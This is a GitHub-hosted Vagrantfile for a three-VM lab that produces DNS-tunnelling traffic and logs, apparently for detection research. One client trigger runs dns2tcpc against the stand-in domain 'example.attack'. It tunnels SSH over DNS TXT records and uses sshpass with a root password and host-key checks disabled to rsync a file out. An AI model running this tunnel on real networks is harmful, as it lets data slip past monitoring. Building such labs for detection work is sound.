-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathVagrantfile
176 lines (150 loc) · 7.55 KB
/
Vagrantfile
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
# -*- mode: ruby -*-
# vi: set ft=ruby :
Vagrant.configure("2") do |config|
config.vm.define "bind9" do |bind9|
# Set the box-type and version (default is latest)
bind9.vm.box = "ubuntu/focal64"
bind9.vm.box_version = ">= 0"
# Set the hostname
bind9.vm.hostname = "bind9"
# Setup networking
bind9.vm.network "private_network", ip: "192.168.0.10", virtualbox__intnet: "intnet"
# Provision VM
bind9.vm.provision "ansible_local" do |a|
a.install = true,
a.install_mode = "default",
a.playbook = 'bind9_playbook',
a.become_user = "root",
a.become = true
end
bind9.vm.provision "ansible_local" do |a|
a.install = true,
a.install_mode = "default",
a.playbook = "filebeat_playbook_bind9",
a.become_user = "root",
a.become = true
end
bind9.vm.provision "ansible_local" do |a|
a.install = true,
a.install_mode = "default",
a.playbook = "filebeat_playbook_bind9",
a.become_user = "root",
a.become = true
end
# Runtime triggers
bind9.trigger.after [:up, :reload] do |trigger|
trigger.info = "Begin TCPDUMP capture."
trigger.run_remote = { inline: 'rm -f nohup.out; nohup tcpdump -i any -s 0 -n -w /tmp/dns.pcap port 53 & sleep 1; echo $! > /var/run/tcpdump.pid', privileged: true }
end
bind9.trigger.after [:up, :reload] do |trigger|
trigger.info = "Executing 'run'-section of the scenario component."
trigger.run_remote = { inline: 'systemctl restart named', privileged: true }
end
# Data collection
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Stopping TCPDUMP"
trigger.run_remote = { inline: 'if [ -f /var/run/tcpdump.pid ]; then kill $(cat /var/run/tcpdump.pid); rm -f /var/run/tcpdump.pid; fi', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Changing permissions on the remote artifact: /var/cache/bind/query*.log"
trigger.run_remote = { inline: 'chmod o+r /var/cache/bind/query*.log', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Grabbing artifact from Guest machine: /var/cache/bind/query*.log"
trigger.run = { inline: 'vagrant scp bind9:/var/cache/bind/query*.log bind9/' }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Removing artifact from Guest machine: /var/cache/bind/query*.log"
trigger.run_remote = { inline: 'rm -rf /var/cache/bind/query*.log', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Changing permissions on the remote artifact: /tmp/filebeat.json*"
trigger.run_remote = { inline: 'chmod o+r /tmp/filebeat.json*', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Grabbing artifact from Guest machine: /tmp/filebeat.json*"
trigger.run = { inline: 'vagrant scp bind9:/tmp/filebeat.json* bind9/' }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Removing artifact from Guest machine: /tmp/filebeat.json*"
trigger.run_remote = { inline: 'rm -rf /tmp/filebeat.json*', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Changing permissions on the remote artifact: /tmp/dns.pcap"
trigger.run_remote = { inline: 'chmod o+r /tmp/dns.pcap', privileged: true }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Grabbing artifact from Guest machine: /tmp/dns.pcap"
trigger.run = { inline: 'vagrant scp bind9:/tmp/dns.pcap bind9/' }
end
bind9.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Removing artifact from Guest machine: /tmp/dns.pcap"
trigger.run_remote = { inline: 'rm -rf /tmp/dns.pcap', privileged: true }
end
end
config.vm.define "dns2tcpserver" do |dns2tcpserver|
# Set the box-type and version (default is latest)
dns2tcpserver.vm.box = "ubuntu/focal64"
dns2tcpserver.vm.box_version = ">= 0"
# Set the hostname
dns2tcpserver.vm.hostname = "dns2tcpserver"
# Setup networking
dns2tcpserver.vm.network "private_network", ip: "192.168.0.20", virtualbox__intnet: "intnet"
# Provision VM
dns2tcpserver.vm.provision "ansible_local" do |a|
a.install = true,
a.install_mode = "default",
a.playbook = 'dns2tcp_server_setup',
a.become_user = "root",
a.become = true
end
# Runtime triggers
dns2tcpserver.trigger.after [:up, :reload] do |trigger|
trigger.info = "Executing 'run'-section of the scenario component."
trigger.run_remote = { inline: 'sudo apt install -y socat;
#nohup asciinema rec /tmp/dns2tcp_server_TXT.cast -c \'set -x; dns2tcpd -d 1 -f /opt/dns2tcpdrc & sleep 1\'', privileged: true }
end
# Data collection
dns2tcpserver.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Changing permissions on the remote artifact: /tmp/*.cast"
trigger.run_remote = { inline: 'chmod o+r /tmp/*.cast', privileged: true }
end
dns2tcpserver.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Grabbing artifact from Guest machine: /tmp/*.cast"
trigger.run = { inline: 'vagrant scp dns2tcpserver:/tmp/*.cast dns2tcpserver/' }
end
dns2tcpserver.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Removing artifact from Guest machine: /tmp/*.cast"
trigger.run_remote = { inline: 'rm -rf /tmp/*.cast', privileged: true }
end
end
config.vm.define "dns2tcpclient" do |dns2tcpclient|
# Set the box-type and version (default is latest)
dns2tcpclient.vm.box = "ubuntu/focal64"
dns2tcpclient.vm.box_version = ">= 0"
# Set the hostname
dns2tcpclient.vm.hostname = "dns2tcpclient"
# Setup networking
dns2tcpclient.vm.network "private_network", ip: "192.168.0.30", virtualbox__intnet: "intnet"
# Provision VM
dns2tcpclient.vm.provision "shell", inline: 'sudo apt-get install -y dns2tcp sshpass asciinema;', privileged: true
# Runtime triggers
dns2tcpclient.trigger.after [:up, :reload] do |trigger|
trigger.info = "Executing 'run'-section of the scenario component."
trigger.run_remote = { inline: 'asciinema rec /tmp/dns2tcp_client_TXT_compressed_0xDEADBEEF.cast -c \'set -x; dns2tcpc -z example.attack -k 0xDEADBEEF 192.168.0.10 -r ssh -l 12345 -c -T TXT & sleep 1; rsync -P --rsh="sshpass -p root ssh -l root -oStrictHostKeyChecking=no -p 12345" 127.0.0.1:/root/test-file /tmp/\'', privileged: true }
end
# Data collection
dns2tcpclient.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Changing permissions on the remote artifact: /tmp/*.cast"
trigger.run_remote = { inline: 'chmod o+r /tmp/*.cast', privileged: true }
end
dns2tcpclient.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Grabbing artifact from Guest machine: /tmp/*.cast"
trigger.run = { inline: 'vagrant scp dns2tcpclient:/tmp/*.cast dns2tcpclient/' }
end
dns2tcpclient.trigger.before [:destroy, :halt, :reload] do |trigger|
trigger.info = "Removing artifact from Guest machine: /tmp/*.cast"
trigger.run_remote = { inline: 'rm -rf /tmp/*.cast', privileged: true }
end
end
end